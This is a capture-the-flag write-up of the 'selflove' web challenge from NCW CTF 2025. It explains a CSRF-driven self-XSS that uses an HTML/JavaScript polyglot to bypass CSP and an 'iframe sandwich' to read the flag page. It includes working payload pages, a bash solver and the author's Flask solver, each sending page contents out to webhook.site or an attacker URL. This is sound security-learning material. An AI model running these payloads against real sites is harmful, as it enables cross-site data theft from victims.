---
# System prepended metadata

title: '"Selflove" Upsolve Writeup, NCW CTF 2025'

---


# "Selflove" Upsolve Writeup, NCW CTF 2025
Recently, I took part in National Cyber Week (NCW) 2025 by CSC BINUS. Shout-out to the problem-setters for the well-designed challenges. The competition lasts 13 hours (9 hours initially, extended due to CTFd outage incident).

During the competition, I've only managed to solve the challenge "fetcher" (with the help of Google's Gemini ._.). This blog is made to document my approach on up-solving a web challenge that most participant struggled with, named "selflove".

**Keywords:** ![](https://img.shields.io/badge/self_XSS-blue) ![](https://img.shields.io/badge/HTML_JS_polyglot-blue) ![](https://img.shields.io/badge/Iframe_Sandwich-blue) ![](https://img.shields.io/badge/Same_Origin_Policy_(SOP)-purple) ![](https://img.shields.io/badge/Content_Security_Policy_(CSP)-purple) 

## selflove
![mh1gfnc9nf9f1](https://hackmd.io/_uploads/S11flpWWWe.jpg)

**Author: tanknight**

**Chall file:** https://github.com/papaChick/Interesting-CTF-Challs/tree/main/selflove

I struggled most in this challenge. I spent ~80% of the competition on this challenge (~5% spent on an hour nap) and YET still didn't manage to solve it.

It is a monolithic flask app, with a selenium chromedriver report bot. The functionality are very basic, this includes: authentication, dashboard, report, and view flag. The aforementioned functionality are implemented in the following endpoints:
- logout
- login
- register
- index ("/")
- dashboard
- report
- flag

Flag endpoint can only be accessed by an admin, which is the report bot.
> [!Important] Report bot's `httpOnly` attribute is set to `true`, no cookie stealing. 
```python=57
@app.route('/flag')
def flag():
    print(f"{session.get('username','Guest')} is trying to access /flag")
    if session.get('admin'):
        return FLAG
    return "kamu siapa bang?"
```
Our goal is to exfiltrate the flag 🚩🚩🚩.

### Authentication
The Authentication feature allows users to supply anything and store it as-is. Not only that, but protection against CSRF (Cross Site Request Forgery) is pretty much **non-existent**. No CSRF-tokens, SESSION_COOKIE_SAMESITE is set to `None`. 
```py=24
app.config['SESSION_COOKIE_SAMESITE'] = 'None'
app.config['SESSION_COOKIE_SECURE'] = True
```

This challenge pretty much calls for **CSRF!**

>[!Note]For details on what the snippet above does, you can access it [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Set-Cookie#samesitesamesite-value)
>![image](https://hackmd.io/_uploads/rk7Mn3WWWe.png)

Having that said, we must find the CSRF vector to proof that we are on the right track.

### Index endpoint
The index endpoints is only accessible by authenticated users. 
```py=43
@app.route('/')
def home():
    username = session.get('username', 'Guest')
    if username == 'Guest':
        return "Hello " + username + "!" + '<script src="https://cdn.tailwindcss.com/3.4.17"></script><body class="min-h-screen flex flex-col items-center gap-4 justify-center bg-gradient-to-br from-slate-900 via-indigo-900 to-sky-900 text-slate-100 text-center font-sans"><br>Login untuk melihat easter egg.<a href="/login" class="px-6 py-3 bg-sky-500 hover:bg-sky-600 text-slate-900 font-semibold rounded-xl shadow-lg transition">Login</a></body>'
    else:
        return "Hello " + username + "!" + "<meta http-equiv='refresh' content='0; url=/dashboard' />"
```
The reflected username is not sanitized nor encoded. This opens possibility for injection attacks and further supports the CSRF exploit hypothesis.

However, it must be noted that the web is protected by a strict CSP (Content Security Policy).

```py=31
@app.after_request
def after_request(response):
    response.headers["Content-Security-Policy"] = "default-src 'self'; script-src 'self' https://cdn.tailwindcss.com/3.4.17 http://www.instagram.com/embed.js; style-src 'self' 'unsafe-inline'; frame-src https://www.instagram.com/;"
    return response
```

To carry out the CSRF exploit, we must be able to run scripts. However the `script-src` restricts us from doing so. Except, that's what I thought initially. 

We can run scripts and still comply with the CSP's `script-src`. Note that the `script-src` includes `self` as its value. Since we only have one injection vector which allows one payload at a time, we can construct a polyglot payload that is valid as both HTML and JavaScript. An example payload is as follows:
**Intepreted as JavaScript**
```js
= 1; alert("XSS"); // <script src="/"></script>
```
**Intepreted as HTML**
```html
= 1; alert("XSS"); // <script src="/"></script>
```
>[!Note]
>#### How the polyglot works?
>When a user visits the index endpoint, it inteprets it as an HTML page. Then, the script tag calls a get request to the same index endpoint and inteprets it as JavaScript. Thus, the script tag executes the injected JavaScript while still respecting the CSP's `script-src 'self'`.  

Now that we have a script injection on our belt, we need to exfiltrate the flag from the flag endpoint.

Recall how the flag is shown in the DOM (Document Object Model). To exfiltrate this, the ability to manipulate the DOM is required. We can't simply access the DOM through cross-site, as that would violate SOP (Same Origin Policy).

### Flag exfiltration

A lesson I learn after doing some research, having 2 pages/frames embedding Same-Origin sites won't violate SOP (duh, it's called **Same-Origin** Policy for a reason). This allows interaction and modification of DOM between pages/iframes.

Here, I use a similar concept to Cooper Young's [blog](https://coopergyoung.com/exacerbating-cross-site-scripting-the-iframe-sandwich/), "**iframe sandwich**". 

![image](https://hackmd.io/_uploads/HykH5wQZ-e.png)

Despite the absence of iframes in the flag endpoint, we are still able to access the DOM as they are still considered Same-Origin. 

Hence, the following payload is crafted:

2.html
```html
<script>
    window.open("1.html", "_blank")
    window.location.href = "https://127.0.0.1:40111/flag"
</script>
```

1.html
```html
<form action="https://127.0.0.1:40111/register" method="POST" target="_blank">
    <input type="text" name="username" value="= 1; window.location.href='https://webhook.site/${WEBHOOK_TOKEN}?flag='+parent.opener.document.body.innerHTML;//<script src='/'></script><!--">
    <input type="text" name="password" value="password1234">
    <input type="submit" id="submit"> 
</form>

<script>
    setTimeout(() => {
        window.open("https://127.0.0.1:40111/logout");
    }, 500);

    setTimeout(() => {
        document.getElementById("submit").click();
    }, 1000);

    setTimeout(() => {
        window.location.href = "https://127.0.0.1:40111/"
    }, 1500);
</script>
```

I hosted these HTML pages on a Virtual Private Server with NGINX, and reported public URL.

![image](https://hackmd.io/_uploads/S1myTQ4-bl.png)

and... flag is retrieved!
![image](https://hackmd.io/_uploads/SJcA2mE-bg.png)


With that, we can create a script to automate it to ensure reproducibility. Here, I used Python's HTTP server with Ngrok's TCP.

### Solver Script
```bash=
#!/bin/bash
set -euo pipefail

TARGET_URL=https://127.0.0.1:40111
PORT=2323
PY_LOG="/tmp/py-http-${PORT}.log"
NGROK_LOG="/tmp/ngrok-${PORT}.log"
TOKEN_FILE="webhook_token.txt"

# Setting payload

TOKEN_FILE="webhook_token.txt"

if [ -f "$TOKEN_FILE" ]; then
  WEBHOOK_TOKEN=$(cat "$TOKEN_FILE")
else
  WEBHOOK_TOKEN=$(
    curl -s -X POST https://webhook.site/token \
    | jq -r '.uuid'
  )
  echo "${WEBHOOK_TOKEN}" > "$TOKEN_FILE"
fi

echo "Webhook URL = https://webhook.site/$WEBHOOK_TOKEN"

cat << EOF > 1.html
<form action="https://127.0.0.1:40111/register" method="POST" target="_blank">
    <input type="text" name="username" value="= 1; window.location.href='https://webhook.site/${WEBHOOK_TOKEN}?flag='+parent.opener.document.body.innerHTML;//<script src='/'></script><!--${RANDOM}">
    <input type="text" name="password" value="password1234">
    <input type="submit" id="submit"> 
</form>

<script>
    setTimeout(() => {
        window.open("https://127.0.0.1:40111/logout");
    }, 500);

    setTimeout(() => {
        document.getElementById("submit").click();
    }, 1000);

    setTimeout(() => {
        window.location.href = "https://127.0.0.1:40111/"
    }, 1500);
</script>
EOF

cat << EOF > 2.html
<script>
    window.open("1.html", "_blank")
    window.location.href = "https://127.0.0.1:40111/flag"
</script>
EOF

# Setup

echo "[*] Starting Python HTTP server on port ${PORT}..."
python3 -m http.server "${PORT}" >"$PY_LOG" 2>&1 &
PY_PID=$!
echo "    Python PID: ${PY_PID}"

echo "[*] Starting ngrok tunnel..."
ngrok tcp "${PORT}" --log=stdout > "$NGROK_LOG" 2>&1 &
NGROK_PID=$!
echo "    Ngrok PID: ${NGROK_PID}"

echo "[*] Waiting for ngrok to initialize..."
sleep 5

PUBLIC_URL=$(curl -s localhost:4040/api/tunnels | jq -r '.tunnels[0].public_url' | sed 's/tcp:/http:/g')

sleep 5

# Exploitation

echo "[*] Attack"
RESP=\"$(curl -s -X POST -F "url=${PUBLIC_URL}/2.html" "${TARGET_URL}/report" --insecure)\"
echo "    Response: ${RESP}"

echo "[*] Waiting 10s..."
sleep 10
echo
FLAG=$(curl -s https://webhook.site/token/${WEBHOOK_TOKEN}/requests | jq -r '.data[0].query.flag')
echo "    Flag: ${FLAG}" 

# Clean up

echo
echo "[*] Stopping Python and ngrok..."

if kill -0 "${PY_PID}" 2>/dev/null; then
  kill "${PY_PID}" || true
fi

if kill -0 "${NGROK_PID}" 2>/dev/null; then
  kill "${NGROK_PID}" || true
fi

echo "[*] Done."
```
![image](https://hackmd.io/_uploads/HkklrjrWZe.png)

## Failed Approach
I tried using the chromedriver API CSRF RCE which is specified in [this](https://issues.chromium.org/issues/40052697) issue. It requires the bot to sent out a POST request to its internal. As far as I know, this can only be done with a `fetch()`. The `fetch()` method is restricted by CSP's `connect-src` directive.

![image](https://hackmd.io/_uploads/rJlAnDX-bl.png)
Source: https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/connect-src

Since `connect-src` falls back to `default-src`, which is set to `self`, this approach is **impossible**.

## Intended Solver - Author's
```python=
from flask import Flask, request
import requests
import html
import os

attacker_url = "http://6.tcp.ngrok.io:11003"
target_url = "https://31.97.187.222:40111"#


app = Flask(__name__)
PORT = 23221


@app.route('/')
def js():
    return f""" 
<iframe src="https://127.0.0.1:40111"></iframe>
<iframe src="/csrf" credentialless></iframe>
""", 200

@app.route('/csrf')
def csrf():
    xss_payload = '''= 123; const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); (async()=>{ window.top[0].location.href = '/flag'; await sleep(1000); window.location.href = `ATTACKER_URL/extract?${encodeURI(window.top[0].document.body.innerText)}`  })(); window.stop(); //'''.replace("ATTACKER_URL", attacker_url) + html.escape('<script src="/"></script>', quote=True) + os.urandom(8).hex()
    csrf_xss_payload = f"""<form id=sx action="https://127.0.0.1:40111/register" method="post"><input name="username" value="{xss_payload}"><input name="password" value="passwordlol"><button type="submit">Submit</button></form><script>document.getElementById('sx').submit();</script>"""
    print(csrf_xss_payload)
    return csrf_xss_payload

@app.route("/exploit")
def exploit():
    requests.post(f"{target_url}/report", data={'url': attacker_url}, verify=False)
    return "done.", 200
app.run(host='0.0.0.0', port=PORT, debug=True)
```
Pretty similar, the difference lies in the presence of credentialless iframe and XSS on `/register` with `window.stop()` to stop the meta redirect. 
![image](https://hackmd.io/_uploads/ryAzFMGbWx.png)
Reference: https://blog.slonser.info/posts/make-self-xss-great-again/

He kind of regretted giving the flag its own dedicated endpoint, though. He finds the iframe sandwich method interesting, but it's not what he intended. Moving the flag to the bot's cookie would prevent the iframe sandwich method while preserving the core concept of the challenge.